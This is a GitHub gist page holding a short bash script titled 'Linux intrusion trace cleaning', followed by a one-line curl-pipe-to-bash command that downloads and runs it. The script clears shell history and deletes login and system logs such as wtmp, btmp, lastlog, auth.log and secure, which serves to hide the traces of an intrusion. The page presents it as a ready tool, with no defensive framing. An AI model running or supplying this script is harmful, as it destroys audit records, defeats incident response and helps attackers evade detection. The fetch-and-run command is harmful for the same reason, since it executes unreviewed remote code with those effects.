Last active
July 16, 2022 19:07
-
-
Save Ran-Xing/5fe1fd9718f5a2db239d729dec534bc5 to your computer and use it in GitHub Desktop.
Linux intrusion trace cleaning
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
set -ex | |
# clean history | |
history -c | |
rm -f ~/.bash_history ~/.zsh_history ~/.sh_history ~/.ash_history | |
# clean login history | |
rm -f /var/run/utmp /var/log/wtmp /var/log/lastlog /var/log/btmp /var/log/auth.log /var/log/secure /var/log/maillog /var/log/message /var/log/cron /var/log/spooler /var/log/boot.log |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
curl -s https://gist.githubusercontent.com/Ran-Xing/5fe1fd9718f5a2db239d729dec534bc5/raw/099560617cc3bef326c71c2ae215dea5ae3fb300/clean.sh |bash